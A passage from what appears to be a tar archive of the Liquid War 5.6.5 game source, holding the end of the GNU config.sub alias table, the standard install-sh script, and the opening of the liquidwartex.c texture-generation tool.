basic_machine=i860-intel os=-osf ;; parisc) basic_machine=hppa-unknown os=-linux ;; parisc-*) basic_machine=hppa-`echo $basic_machine | sed 's/^[^-]*-//'` os=-linux ;; pbd) basic_machine=sparc-tti ;; pbb) basic_machine=m68k-tti ;; pc532 | pc532-*) basic_machine=ns32k-pc532 ;; pc98) basic_machine=i386-pc ;; pc98-*) basic_machine=i386-`echo $basic_machine | sed 's/^[^-]*-//'` ;; pentium | p5 | k5 | k6 | nexgen | viac3) basic_machine=i586-pc ;; pentiumpro | p6 | 6x86 | athlon | athlon_*) basic_machine=i686-pc ;; pentiumii | pentium2 | pentiumiii | pentium3) basic_machine=i686-pc ;; pentium4) basic_machine=i786-pc ;; pentium-* | p5-* | k5-* | k6-* | nexgen-* | viac3-*) basic_machine=i586-`echo $basic_machine | sed 's/^[^-]*-//'` ;; pentiumpro-* | p6-* | 6x86-* | athlon-*) basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'` ;; pentiumii-* | pentium2-* | pentiumiii-* | pentium3-*) basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'` ;; pentium4-*) basic_machine=i786-`echo $basic_machine | sed 's/^[^-]*-//'` ;; pn) basic_machine=pn-gould ;; power) basic_machine=power-ibm ;; ppc | ppcbe) basic_machine=powerpc-unknown ;; ppc-* | ppcbe-*) basic_machine=powerpc-`echo $basic_machine | sed 's/^[^-]*-//'` ;; ppcle | powerpclittle | ppc-le | powerpc-little) basic_machine=powerpcle-unknown ;; ppcle-* | powerpclittle-*) basic_machine=powerpcle-`echo $basic_machine | sed 's/^[^-]*-//'` ;; ppc64) basic_machine=powerpc64-unknown ;; ppc64-*) basic_machine=powerpc64-`echo $basic_machine | sed 's/^[^-]*-//'` ;; ppc64le | powerpc64little | ppc64-le | powerpc64-little) basic_machine=powerpc64le-unknown ;; ppc64le-* | powerpc64little-*) basic_machine=powerpc64le-`echo $basic_machine | sed 's/^[^-]*-//'` ;; ps2) basic_machine=i386-ibm ;; pw32) basic_machine=i586-unknown os=-pw32 ;; rdos) basic_machine=i386-pc os=-rdos ;; rom68k) basic_machine=m68k-rom68k os=-coff ;; rm[46]00) basic_machine=mips-siemens ;; rtpc | rtpc-*) basic_machine=romp-ibm ;; s390 | s390-*) basic_machine=s390-ibm ;; s390x | s390x-*) basic_machine=s390x-ibm ;; sa29200) basic_machine=a29k-amd os=-udi ;; sb1) basic_machine=mipsisa64sb1-unknown ;; sb1el) basic_machine=mipsisa64sb1el-unknown ;; sde) basic_machine=mipsisa32-sde os=-elf ;; sei) basic_machine=mips-sei os=-seiux ;; sequent) basic_machine=i386-sequent ;; sh) basic_machine=sh-hitachi os=-hms ;; sh5el) basic_machine=sh5le-unknown ;; sh64) basic_machine=sh64-unknown ;; sparclite-wrs | simso-wrs) basic_machine=sparclite-wrs os=-vxworks ;; sps7) basic_machine=m68k-bull os=-sysv2 ;; spur) basic_machine=spur-unknown ;; st2000) basic_machine=m68k-tandem ;; stratus) basic_machine=i860-stratus os=-sysv4 ;; strongarm-* | thumb-*) basic_machine=arm-`echo $basic_machine | sed 's/^[^-]*-//'` ;; sun2) basic_machine=m68000-sun ;; sun2os3) basic_machine=m68000-sun os=-sunos3 ;; sun2os4) basic_machine=m68000-sun os=-sunos4 ;; sun3os3) basic_machine=m68k-sun os=-sunos3 ;; sun3os4) basic_machine=m68k-sun os=-sunos4 ;; sun4os3) basic_machine=sparc-sun os=-sunos3 ;; sun4os4) basic_machine=sparc-sun os=-sunos4 ;; sun4sol2) basic_machine=sparc-sun os=-solaris2 ;; sun3 | sun3-*) basic_machine=m68k-sun ;; sun4) basic_machine=sparc-sun ;; sun386 | sun386i | roadrunner) basic_machine=i386-sun ;; sv1) basic_machine=sv1-cray os=-unicos ;; symmetry) basic_machine=i386-sequent os=-dynix ;; t3e) basic_machine=alphaev5-cray os=-unicos ;; t90) basic_machine=t90-cray os=-unicos ;; # This must be matched before tile*. tilegx*) basic_machine=tilegx-unknown os=-linux-gnu ;; tile*) basic_machine=tile-unknown os=-linux-gnu ;; tx39) basic_machine=mipstx39-unknown ;; tx39el) basic_machine=mipstx39el-unknown ;; toad1) basic_machine=pdp10-xkl os=-tops20 ;; tower | tower-32) basic_machine=m68k-ncr ;; tpf) basic_machine=s390x-ibm os=-tpf ;; udi29k) basic_machine=a29k-amd os=-udi ;; ultra3) basic_machine=a29k-nyu os=-sym1 ;; v810 | necv810) basic_machine=v810-nec os=-none ;; vaxv) basic_machine=vax-dec os=-sysv ;; vms) basic_machine=vax-dec os=-vms ;; vpp*|vx|vx-*) basic_machine=f301-fujitsu ;; vxworks960) basic_machine=i960-wrs os=-vxworks ;; vxworks68) basic_machine=m68k-wrs os=-vxworks ;; vxworks29k) basic_machine=a29k-wrs os=-vxworks ;; w65*) basic_machine=w65-wdc os=-none ;; w89k-*) basic_machine=hppa1.1-winbond os=-proelf ;; xbox) basic_machine=i686-pc os=-mingw32 ;; xps | xps100) basic_machine=xps100-honeywell ;; xscale-* | xscalee[bl]-*) basic_machine=`echo $basic_machine | sed 's/^xscale/arm/'` ;; ymp) basic_machine=ymp-cray os=-unicos ;; z8k-*-coff) basic_machine=z8k-unknown os=-sim ;; z80-*-coff) basic_machine=z80-unknown os=-sim ;; none) basic_machine=none-none os=-none ;; # Here we handle the default manufacturer of certain CPU types. It is in # some cases the only manufacturer, in others, it is the most popular. w89k) basic_machine=hppa1.1-winbond ;; op50n) basic_machine=hppa1.1-oki ;; op60c) basic_machine=hppa1.1-oki ;; romp) basic_machine=romp-ibm ;; mmix) basic_machine=mmix-knuth ;; rs6000) basic_machine=rs6000-ibm ;; vax) basic_machine=vax-dec ;; pdp10) # there are many clones, so DEC is not a safe bet basic_machine=pdp10-unknown ;; pdp11) basic_machine=pdp11-dec ;; we32k) basic_machine=we32k-att ;; sh[1234] | sh[24]a | sh[24]aeb | sh[34]eb | sh[1234]le | sh[23]ele) basic_machine=sh-unknown ;; sparc | sparcv8 | sparcv9 | sparcv9b | sparcv9v) basic_machine=sparc-sun ;; cydra) basic_machine=cydra-cydrome ;; orion) basic_machine=orion-highlevel ;; orion105) basic_machine=clipper-highlevel ;; mac | mpw | mac-mpw) basic_machine=m68k-apple ;; pmac | pmac-mpw) basic_machine=powerpc-apple ;; *-unknown) # Make sure to match an already-canonicalized machine name. ;; *) echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2 exit 1 ;; esac # Here we canonicalize certain aliases for manufacturers. case $basic_machine in *-digital*) basic_machine=`echo $basic_machine | sed 's/digital.*/dec/'` ;; *-commodore*) basic_machine=`echo $basic_machine | sed 's/commodore.*/cbm/'` ;; *) ;; esac # Decode manufacturer-specific aliases for certain operating systems. if [ x"$os" != x"" ] then case $os in # First match some system type aliases # that might get confused with valid system types. # -solaris* is a basic system type, with this one exception. -auroraux) os=-auroraux ;; -solaris1 | -solaris1.*) os=`echo $os | sed -e 's|solaris1|sunos4|'` ;; -solaris) os=-solaris2 ;; -svr4*) os=-sysv4 ;; -unixware*) os=-sysv4.2uw ;; -gnu/linux*) os=`echo $os | sed -e 's|gnu/linux|linux-gnu|'` ;; # First accept the basic system types. # The portable systems comes first. # Each alternative MUST END IN A *, to match a version number. # -sysv* is not here because it comes later, after sysvr4. -gnu* | -bsd* | -mach* | -minix* | -genix* | -ultrix* | -irix* \ | -*vms* | -sco* | -esix* | -isc* | -aix* | -cnk* | -sunos | -sunos[34]*\ | -hpux* | -unos* | -osf* | -luna* | -dgux* | -auroraux* | -solaris* \ | -sym* | -kopensolaris* \ | -amigaos* | -amigados* | -msdos* | -newsos* | -unicos* | -aof* \ | -aos* | -aros* \ | -nindy* | -vxsim* | -vxworks* | -ebmon* | -hms* | -mvs* \ | -clix* | -riscos* | -uniplus* | -iris* | -rtu* | -xenix* \ | -hiux* | -386bsd* | -knetbsd* | -mirbsd* | -netbsd* \ | -openbsd* | -solidbsd* \ | -ekkobsd* | -kfreebsd* | -freebsd* | -riscix* | -lynxos* \ | -bosx* | -nextstep* | -cxux* | -aout* | -elf* | -oabi* \ | -ptx* | -coff* | -ecoff* | -winnt* | -domain* | -vsta* \ | -udi* | -eabi* | -lites* | -ieee* | -go32* | -aux* \ | -chorusos* | -chorusrdb* | -cegcc* \ | -cygwin* | -pe* | -psos* | -moss* | -proelf* | -rtems* \ | -mingw32* | -linux-gnu* | -linux-android* \ | -linux-newlib* | -linux-uclibc* \ | -uxpv* | -beos* | -mpeix* | -udk* \ | -interix* | -uwin* | -mks* | -rhapsody* | -darwin* | -opened* \ | -openstep* | -oskit* | -conix* | -pw32* | -nonstopux* \ | -storm-chaos* | -tops10* | -tenex* | -tops20* | -its* \ | -os2* | -vos* | -palmos* | -uclinux* | -nucleus* \ | -morphos* | -superux* | -rtmk* | -rtmk-nova* | -windiss* \ | -powermax* | -dnix* | -nx6 | -nx7 | -sei* | -dragonfly* \ | -skyos* | -haiku* | -rdos* | -toppers* | -drops* | -es*) # Remember, each alternative MUST END IN *, to match a version number. ;; -qnx*) case $basic_machine in x86-* | i*86-*) ;; *) os=-nto$os ;; esac ;; -nto-qnx*) ;; -nto*) os=`echo $os | sed -e 's|nto|nto-qnx|'` ;; -sim | -es1800* | -hms* | -xray | -os68k* | -none* | -v88r* \ | -windows* | -osx | -abug | -netware* | -os9* | -beos* | -haiku* \ | -macos* | -mpw* | -magic* | -mmixware* | -mon960* | -lnews*) ;; -mac*) os=`echo $os | sed -e 's|mac|macos|'` ;; -linux-dietlibc) os=-linux-dietlibc ;; -linux*) os=`echo $os | sed -e 's|linux|linux-gnu|'` ;; -sunos5*) os=`echo $os | sed -e 's|sunos5|solaris2|'` ;; -sunos6*) os=`echo $os | sed -e 's|sunos6|solaris3|'` ;; -opened*) os=-openedition ;; -os400*) os=-os400 ;; -wince*) os=-wince ;; -osfrose*) os=-osfrose ;; -osf*) os=-osf ;; -utek*) os=-bsd ;; -dynix*) os=-bsd ;; -acis*) os=-aos ;; -atheos*) os=-atheos ;; -syllable*) os=-syllable ;; -386bsd) os=-bsd ;; -ctix* | -uts*) os=-sysv ;; -nova*) os=-rtmk-nova ;; -ns2 ) os=-nextstep2 ;; -nsk*) os=-nsk ;; # Preserve the version number of sinix5. -sinix5.*) os=`echo $os | sed -e 's|sinix|sysv|'` ;; -sinix*) os=-sysv4 ;; -tpf*) os=-tpf ;; -triton*) os=-sysv3 ;; -oss*) os=-sysv3 ;; -svr4) os=-sysv4 ;; -svr3) os=-sysv3 ;; -sysvr4) os=-sysv4 ;; # This must come after -sysvr4. -sysv*) ;; -ose*) os=-ose ;; -es1800*) os=-ose ;; -xenix) os=-xenix ;; -*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*) os=-mint ;; -aros*) os=-aros ;; -kaos*) os=-kaos ;; -zvmoe) os=-zvmoe ;; -dicos*) os=-dicos ;; -nacl*) ;; -none) ;; *) # Get rid of the `-' at the beginning of $os. os=`echo $os | sed 's/[^-]*-//'` echo Invalid configuration \`$1\': system \`$os\' not recognized 1>&2 exit 1 ;; esac else # Here we handle the default operating systems that come with various machines. # The value should be what the vendor currently ships out the door with their # machine or put another way, the most popular os provided with the machine. # Note that if you're going to try to match "-MANUFACTURER" here (say, # "-sun"), then you have to tell the case statement up towards the top # that MANUFACTURER isn't an operating system. Otherwise, code above # will signal an error saying that MANUFACTURER isn't an operating # system, and we'll never get to this point. case $basic_machine in score-*) os=-elf ;; spu-*) os=-elf ;; *-acorn) os=-riscix1.2 ;; arm*-rebel) os=-linux ;; arm*-semi) os=-aout ;; c4x-* | tic4x-*) os=-coff ;; tic54x-*) os=-coff ;; tic55x-*) os=-coff ;; tic6x-*) os=-coff ;; # This must come before the *-dec entry. pdp10-*) os=-tops20 ;; pdp11-*) os=-none ;; *-dec | vax-*) os=-ultrix4.2 ;; m68*-apollo) os=-domain ;; i386-sun) os=-sunos4.0.2 ;; m68000-sun) os=-sunos3 # This also exists in the configure program, but was not the # default. # os=-sunos4 ;; m68*-cisco) os=-aout ;; mep-*) os=-elf ;; mips*-cisco) os=-elf ;; mips*-*) os=-elf ;; or32-*) os=-coff ;; *-tti) # must be before sparc entry or we get the wrong os. os=-sysv3 ;; sparc-* | *-sun) os=-sunos4.1.1 ;; *-be) os=-beos ;; *-haiku) os=-haiku ;; *-ibm) os=-aix ;; *-knuth) os=-mmixware ;; *-wec) os=-proelf ;; *-winbond) os=-proelf ;; *-oki) os=-proelf ;; *-hp) os=-hpux ;; *-hitachi) os=-hiux ;; i860-* | *-att | *-ncr | *-altos | *-motorola | *-convergent) os=-sysv ;; *-cbm) os=-amigaos ;; *-dg) os=-dgux ;; *-dolphin) os=-sysv3 ;; m68k-ccur) os=-rtu ;; m88k-omron*) os=-luna ;; *-next ) os=-nextstep ;; *-sequent) os=-ptx ;; *-crds) os=-unos ;; *-ns) os=-genix ;; i370-*) os=-mvs ;; *-next) os=-nextstep3 ;; *-gould) os=-sysv ;; *-highlevel) os=-bsd ;; *-encore) os=-bsd ;; *-sgi) os=-irix ;; *-siemens) os=-sysv4 ;; *-masscomp) os=-rtu ;; f30[01]-fujitsu | f700-fujitsu) os=-uxpv ;; *-rom68k) os=-coff ;; *-*bug) os=-coff ;; *-apple) os=-macos ;; *-atari*) os=-mint ;; *) os=-none ;; esac fi # Here we handle the case where we know the os, and the CPU type, but not the # manufacturer. We pick the logical manufacturer. vendor=unknown case $basic_machine in *-unknown) case $os in -riscix*) vendor=acorn ;; -sunos*) vendor=sun ;; -cnk*|-aix*) vendor=ibm ;; -beos*) vendor=be ;; -hpux*) vendor=hp ;; -mpeix*) vendor=hp ;; -hiux*) vendor=hitachi ;; -unos*) vendor=crds ;; -dgux*) vendor=dg ;; -luna*) vendor=omron ;; -genix*) vendor=ns ;; -mvs* | -opened*) vendor=ibm ;; -os400*) vendor=ibm ;; -ptx*) vendor=sequent ;; -tpf*) vendor=ibm ;; -vxsim* | -vxworks* | -windiss*) vendor=wrs ;; -aux*) vendor=apple ;; -hms*) vendor=hitachi ;; -mpw* | -macos*) vendor=apple ;; -*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*) vendor=atari ;; -vos*) vendor=stratus ;; esac basic_machine=`echo $basic_machine | sed "s/unknown/$vendor/"` ;; esac echo $basic_machine$os exit # Local variables: # eval: (add-hook 'write-file-hooks 'time-stamp) # time-stamp-start: "timestamp='" # time-stamp-format: "%:y-%02m-%02d" # time-stamp-end: "'" # End: liquidwar-5.6.5/install-sh0000775000372000037200000003601013407756104015145 0ustar travistravis#!/bin/sh # install - install a program, script, or datafile scriptversion=2018-03-11.20; # UTC # This originates from X11R5 (mit/util/scripts/install.sh), which was # later released in X11R6 (xc/config/util/install.sh) with the # following copyright and license. # # Copyright (C) 1994 X Consortium # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to # deal in the Software without restriction, including without limitation the # rights to use, copy, modify, merge, publish, distribute, sublicense, and/or # sell copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # X CONSORTIUM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN # AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNEC- # TION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. # # Except as contained in this notice, the name of the X Consortium shall not # be used in advertising or otherwise to promote the sale, use or other deal- # ings in this Software without prior written authorization from the X Consor- # tium. # # # FSF changes to this file are in the public domain. # # Calling this script install-sh is preferred over install.sh, to prevent # 'make' implicit rules from creating a file called install from it # when there is no Makefile. # # This script is compatible with the BSD install script, but was written # from scratch. tab=' ' nl=' ' IFS=" $tab$nl" # Set DOITPROG to "echo" to test this script. doit=${DOITPROG-} doit_exec=${doit:-exec} # Put in absolute file names if you don't have them in your path; # or use environment vars. chgrpprog=${CHGRPPROG-chgrp} chmodprog=${CHMODPROG-chmod} chownprog=${CHOWNPROG-chown} cmpprog=${CMPPROG-cmp} cpprog=${CPPROG-cp} mkdirprog=${MKDIRPROG-mkdir} mvprog=${MVPROG-mv} rmprog=${RMPROG-rm} stripprog=${STRIPPROG-strip} posix_mkdir= # Desired mode of installed file. mode=0755 chgrpcmd= chmodcmd=$chmodprog chowncmd= mvcmd=$mvprog rmcmd="$rmprog -f" stripcmd= src= dst= dir_arg= dst_arg= copy_on_change=false is_target_a_directory=possibly usage="\ Usage: $0 [OPTION]... [-T] SRCFILE DSTFILE or: $0 [OPTION]... SRCFILES... DIRECTORY or: $0 [OPTION]... -t DIRECTORY SRCFILES... or: $0 [OPTION]... -d DIRECTORIES... In the 1st form, copy SRCFILE to DSTFILE. In the 2nd and 3rd, copy all SRCFILES to DIRECTORY. In the 4th, create DIRECTORIES. Options: --help display this help and exit. --version display version info and exit. -c (ignored) -C install only if different (preserve the last data modification time) -d create directories instead of installing files. -g GROUP $chgrpprog installed files to GROUP. -m MODE $chmodprog installed files to MODE. -o USER $chownprog installed files to USER. -s $stripprog installed files. -t DIRECTORY install into DIRECTORY. -T report an error if DSTFILE is a directory. Environment variables override the default commands: CHGRPPROG CHMODPROG CHOWNPROG CMPPROG CPPROG MKDIRPROG MVPROG RMPROG STRIPPROG " while test $# -ne 0; do case $1 in -c) ;; -C) copy_on_change=true;; -d) dir_arg=true;; -g) chgrpcmd="$chgrpprog $2" shift;; --help) echo "$usage"; exit $?;; -m) mode=$2 case $mode in *' '* | *"$tab"* | *"$nl"* | *'*'* | *'?'* | *'['*) echo "$0: invalid mode: $mode" >&2 exit 1;; esac shift;; -o) chowncmd="$chownprog $2" shift;; -s) stripcmd=$stripprog;; -t) is_target_a_directory=always dst_arg=$2 # Protect names problematic for 'test' and other utilities. case $dst_arg in -* | [=\(\)!]) dst_arg=./$dst_arg;; esac shift;; -T) is_target_a_directory=never;; --version) echo "$0 $scriptversion"; exit $?;; --) shift break;; -*) echo "$0: invalid option: $1" >&2 exit 1;; *) break;; esac shift done # We allow the use of options -d and -T together, by making -d # take the precedence; this is for compatibility with GNU install. if test -n "$dir_arg"; then if test -n "$dst_arg"; then echo "$0: target directory not allowed when installing a directory." >&2 exit 1 fi fi if test $# -ne 0 && test -z "$dir_arg$dst_arg"; then # When -d is used, all remaining arguments are directories to create. # When -t is used, the destination is already specified. # Otherwise, the last argument is the destination. Remove it from $@. for arg do if test -n "$dst_arg"; then # $@ is not empty: it contains at least $arg. set fnord "$@" "$dst_arg" shift # fnord fi shift # arg dst_arg=$arg # Protect names problematic for 'test' and other utilities. case $dst_arg in -* | [=\(\)!]) dst_arg=./$dst_arg;; esac done fi if test $# -eq 0; then if test -z "$dir_arg"; then echo "$0: no input file specified." >&2 exit 1 fi # It's OK to call 'install-sh -d' without argument. # This can happen when creating conditional directories. exit 0 fi if test -z "$dir_arg"; then if test $# -gt 1 || test "$is_target_a_directory" = always; then if test ! -d "$dst_arg"; then echo "$0: $dst_arg: Is not a directory." >&2 exit 1 fi fi fi if test -z "$dir_arg"; then do_exit='(exit $ret); exit $ret' trap "ret=129; $do_exit" 1 trap "ret=130; $do_exit" 2 trap "ret=141; $do_exit" 13 trap "ret=143; $do_exit" 15 # Set umask so as not to create temps with too-generous modes. # However, 'strip' requires both read and write access to temps. case $mode in # Optimize common cases. *644) cp_umask=133;; *755) cp_umask=22;; *[0-7]) if test -z "$stripcmd"; then u_plus_rw= else u_plus_rw='% 200' fi cp_umask=`expr '(' 777 - $mode % 1000 ')' $u_plus_rw`;; *) if test -z "$stripcmd"; then u_plus_rw= else u_plus_rw=,u+rw fi cp_umask=$mode$u_plus_rw;; esac fi for src do # Protect names problematic for 'test' and other utilities. case $src in -* | [=\(\)!]) src=./$src;; esac if test -n "$dir_arg"; then dst=$src dstdir=$dst test -d "$dstdir" dstdir_status=$? else # Waiting for this to be detected by the "$cpprog $src $dsttmp" command # might cause directories to be created, which would be especially bad # if $src (and thus $dsttmp) contains '*'. if test ! -f "$src" && test ! -d "$src"; then echo "$0: $src does not exist." >&2 exit 1 fi if test -z "$dst_arg"; then echo "$0: no destination specified." >&2 exit 1 fi dst=$dst_arg # If destination is a directory, append the input filename. if test -d "$dst"; then if test "$is_target_a_directory" = never; then echo "$0: $dst_arg: Is a directory" >&2 exit 1 fi dstdir=$dst dstbase=`basename "$src"` case $dst in */) dst=$dst$dstbase;; *) dst=$dst/$dstbase;; esac dstdir_status=0 else dstdir=`dirname "$dst"` test -d "$dstdir" dstdir_status=$? fi fi case $dstdir in */) dstdirslash=$dstdir;; *) dstdirslash=$dstdir/;; esac obsolete_mkdir_used=false if test $dstdir_status != 0; then case $posix_mkdir in '') # Create intermediate dirs using mode 755 as modified by the umask. # This is like FreeBSD 'install' as of 1997-10-28. umask=`umask` case $stripcmd.$umask in # Optimize common cases. *[2367][2367]) mkdir_umask=$umask;; .*0[02][02] | .[02][02] | .[02]) mkdir_umask=22;; *[0-7]) mkdir_umask=`expr $umask + 22 \ - $umask % 100 % 40 + $umask % 20 \ - $umask % 10 % 4 + $umask % 2 `;; *) mkdir_umask=$umask,go-w;; esac # With -d, create the new directory with the user-specified mode. # Otherwise, rely on $mkdir_umask. if test -n "$dir_arg"; then mkdir_mode=-m$mode else mkdir_mode= fi posix_mkdir=false case $umask in *[123567][0-7][0-7]) # POSIX mkdir -p sets u+wx bits regardless of umask, which # is incompatible with FreeBSD 'install' when (umask & 300) != 0. ;; *) # Note that $RANDOM variable is not portable (e.g. dash); Use it # here however when possible just to lower collision chance. tmpdir=${TMPDIR-/tmp}/ins$RANDOM-$$ trap 'ret=$?; rmdir "$tmpdir/a/b" "$tmpdir/a" "$tmpdir" 2>/dev/null; exit $ret' 0 # Because "mkdir -p" follows existing symlinks and we likely work # directly in world-writeable /tmp, make sure that the '$tmpdir' # directory is successfully created first before we actually test # 'mkdir -p' feature. if (umask $mkdir_umask && $mkdirprog $mkdir_mode "$tmpdir" && exec $mkdirprog $mkdir_mode -p -- "$tmpdir/a/b") >/dev/null 2>&1 then if test -z "$dir_arg" || { # Check for POSIX incompatibilities with -m. # HP-UX 11.23 and IRIX 6.5 mkdir -m -p sets group- or # other-writable bit of parent directory when it shouldn't. # FreeBSD 6.1 mkdir -m -p sets mode of existing directory. test_tmpdir="$tmpdir/a" ls_ld_tmpdir=`ls -ld "$test_tmpdir"` case $ls_ld_tmpdir in d????-?r-*) different_mode=700;; d????-?--*) different_mode=755;; *) false;; esac && $mkdirprog -m$different_mode -p -- "$test_tmpdir" && { ls_ld_tmpdir_1=`ls -ld "$test_tmpdir"` test "$ls_ld_tmpdir" = "$ls_ld_tmpdir_1" } } then posix_mkdir=: fi rmdir "$tmpdir/a/b" "$tmpdir/a" "$tmpdir" else # Remove any dirs left behind by ancient mkdir implementations. rmdir ./$mkdir_mode ./-p ./-- "$tmpdir" 2>/dev/null fi trap '' 0;; esac;; esac if $posix_mkdir && ( umask $mkdir_umask && $doit_exec $mkdirprog $mkdir_mode -p -- "$dstdir" ) then : else # The umask is ridiculous, or mkdir does not conform to POSIX, # or it failed possibly due to a race condition. Create the # directory the slow way, step by step, checking for races as we go. case $dstdir in /*) prefix='/';; [-=\(\)!]*) prefix='./';; *) prefix='';; esac oIFS=$IFS IFS=/ set -f set fnord $dstdir shift set +f IFS=$oIFS prefixes= for d do test X"$d" = X && continue prefix=$prefix$d if test -d "$prefix"; then prefixes= else if $posix_mkdir; then (umask=$mkdir_umask && $doit_exec $mkdirprog $mkdir_mode -p -- "$dstdir") && break # Don't fail if two instances are running concurrently. test -d "$prefix" || exit 1 else case $prefix in *\'*) qprefix=`echo "$prefix" | sed "s/'/'\\\\\\\\''/g"`;; *) qprefix=$prefix;; esac prefixes="$prefixes '$qprefix'" fi fi prefix=$prefix/ done if test -n "$prefixes"; then # Don't fail if two instances are running concurrently. (umask $mkdir_umask && eval "\$doit_exec \$mkdirprog $prefixes") || test -d "$dstdir" || exit 1 obsolete_mkdir_used=true fi fi fi if test -n "$dir_arg"; then { test -z "$chowncmd" || $doit $chowncmd "$dst"; } && { test -z "$chgrpcmd" || $doit $chgrpcmd "$dst"; } && { test "$obsolete_mkdir_used$chowncmd$chgrpcmd" = false || test -z "$chmodcmd" || $doit $chmodcmd $mode "$dst"; } || exit 1 else # Make a couple of temp file names in the proper directory. dsttmp=${dstdirslash}_inst.$$_ rmtmp=${dstdirslash}_rm.$$_ # Trap to clean up those temp files at exit. trap 'ret=$?; rm -f "$dsttmp" "$rmtmp" && exit $ret' 0 # Copy the file name to the temp name. (umask $cp_umask && $doit_exec $cpprog "$src" "$dsttmp") && # and set any options; do chmod last to preserve setuid bits. # # If any of these fail, we abort the whole thing. If we want to # ignore errors from any of these, just make sure not to ignore # errors from the above "$doit $cpprog $src $dsttmp" command. # { test -z "$chowncmd" || $doit $chowncmd "$dsttmp"; } && { test -z "$chgrpcmd" || $doit $chgrpcmd "$dsttmp"; } && { test -z "$stripcmd" || $doit $stripcmd "$dsttmp"; } && { test -z "$chmodcmd" || $doit $chmodcmd $mode "$dsttmp"; } && # If -C, don't bother to copy if it wouldn't change the file. if $copy_on_change && old=`LC_ALL=C ls -dlL "$dst" 2>/dev/null` && new=`LC_ALL=C ls -dlL "$dsttmp" 2>/dev/null` && set -f && set X $old && old=:$2:$4:$5:$6 && set X $new && new=:$2:$4:$5:$6 && set +f && test "$old" = "$new" && $cmpprog "$dst" "$dsttmp" >/dev/null 2>&1 then rm -f "$dsttmp" else # Rename the file to the real destination. $doit $mvcmd -f "$dsttmp" "$dst" 2>/dev/null || # The rename failed, perhaps because mv can't rename something else # to itself, or perhaps because mv is so ancient that it does not # support -f. { # Now remove or move aside any old file at destination location. # We try this two ways since rm can't unlink itself on some # systems and the destination file might be busy for other # reasons. In this case, the final cleanup might fail but the new # file should still install successfully. { test ! -f "$dst" || $doit $rmcmd -f "$dst" 2>/dev/null || { $doit $mvcmd -f "$dst" "$rmtmp" 2>/dev/null && { $doit $rmcmd -f "$rmtmp" 2>/dev/null; :; } } || { echo "$0: cannot unlink or rename $dst" >&2 (exit 1); exit 1 } } && # Now rename the file to the real destination. $doit $mvcmd "$dsttmp" "$dst" } fi || exit 1 trap '' 0 fi done # Local variables: # eval: (add-hook 'before-save-hook 'time-stamp) # time-stamp-start: "scriptversion=" # time-stamp-format: "%:y-%02m-%02d.%02H" # time-stamp-time-zone: "UTC0" # time-stamp-end: "; # UTC" # End: liquidwar-5.6.5/utils/0000775000372000037200000000000013407756104014301 5ustar travistravisliquidwar-5.6.5/utils/liquidwartex.c0000664000372000037200000003273713407756104017203 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : liquidwartex.c */ /* contenu : tool to generate textures */ /* date de modif : March 2000 */ /********************************************************************/ /*=================================================================*/ /* defines */ /*=================================================================*/ #define ALLEGRO_USE_CONSOLE /*=================================================================*/ /* includes */ /*=================================================================*/ #include #include #include #include #include #include #include /*=================================================================*/ /* variables globales */ /*=================================================================*/ int ARGC; char **ARGV; int FLAG_HELP = 0; int FLAG_SILENT = 0; char *FILENAMES[65536]; int NUMBER_OF_FILES = 0; PALETTE PALETTE_SRC; BITMAP *BITMAP_SRC = NULL; int DST_X, DST_Y, DST_W, DST_H, DST_SIZE; int FIRST_COLOR = 32; int COLOR_NUMBER = 32; char BUFFER[1048576]; char SYSTEM_NAME[16]; /*=================================================================*/ /* fonctions */ /*=================================================================*/ /*-----------------------------------------------------------------*/ /* affichages d'aide */ /*-----------------------------------------------------------------*/ /*-----------------------------------------------------------------*/ void display_common_help (void) { printf ("liquidwartex by U-Foot (ufoot@ufoot.org).\n"); printf ("This program creates textures for Liquid War.\n"); printf ("It is free software, protected by the GPL.\n"); printf ("It uses Allegro by Shawn Hargreaves.\n"); printf ("\n"); } /*-----------------------------------------------------------------*/ void display_short_help (void) { display_common_help (); printf ("Type \"liquidwartex -?\" for more help.\n"); } /*-----------------------------------------------------------------*/ void display_long_help (void) { display_common_help (); printf ("The source must be a 256 color bitmap using color from first_color to first_color+number_of_colors-1.\n"); printf ("\n"); printf ("Syntax:\n"); printf ("liquidwartex [options] first_color number_of_colors 